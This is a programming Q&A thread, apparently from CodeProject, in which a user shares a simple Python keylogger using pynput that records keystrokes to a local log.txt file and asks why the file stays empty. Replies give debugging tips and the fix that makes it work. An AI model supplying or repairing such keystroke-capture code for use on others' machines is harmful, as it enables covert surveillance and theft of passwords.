Click here to Skip to main content
15,867,878 members
Please Sign up or sign in to vote.
0.00/5 (No votes)
So I created this simple keylogger program in pycharm, using python.
The program is supposed to get hold of the keyboard presses and then store it in "log.txt" file. The console does show the program doing it's job i.e it's locking all the key presses and showing it in the logs but it doesn't store that information in "log.txt"

What I have tried:

Python
<pre>import pynput

from pynput.keyboard import Key, Listener

count = 0
keys = []

def on_press(key):
    global keys, count
    keys.append(key)
    count += 1
    print("{0} pressed".format(key))

    if count >= 100:
        count = 0
        write_file(keys)
        keys = []


def write_file():
    with open("log.txt", "a") as f:
        for key in keys:
            k = str(key).replace("'","")
            if k.find("space") > 0:
                f.write("\n")
            elif k.find("Key") == -1:
                f.write(k)
            f.write(str(key))





def on_release(key):
    if key == Key.esc:
        return False




with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()
Posted
Updated 22-Feb-23 6:08am
Comments
CHill60 11-Jan-21 4:31am    
Have you tried debugging your code to see what is actually happening? See Python Debugging With Pdb – Real Python[^]
You could use Try-Except to capture any runtime exceptions. See 8. Errors and Exceptions — Python 3.9.1 documentation[^]
It is very unusual to see a filename without a path - try including the explicit location of the file - don't make this the root of your c:drive or anything under "Program Files"
SeeSharp2 25-Jun-21 13:12pm    
You said this is your code so why don't you know why your code is not working? I think you likely just copied this from somewhere.

So, look at the if statement. It will only log to file after it reaches 100 characters.

how it works ?
You could use Try-Except to capture any runtime exceptions. See 8. Errors and Exceptions — Python 3.9.1 documentation[^]

It is very unusual to see a filename without a path - try including the explicit location of the file - don't make this the root of your c:drive or anything under "Program Files"
 
Share this answer
 
Comments
Richard MacCutchan 1-Jul-21 4:23am    
There is nothing wrong with using a simple file name, it will just be created in the directory where the program is running. Also, try/except will not help if no exception is being thrown.
it works normally, just try to add the argument in write_file function:

"def write_file(keys)"

and reduce count to 10 for example.
 
Share this answer
 

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)



CodeProject, 20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8 +1 (416) 849-8900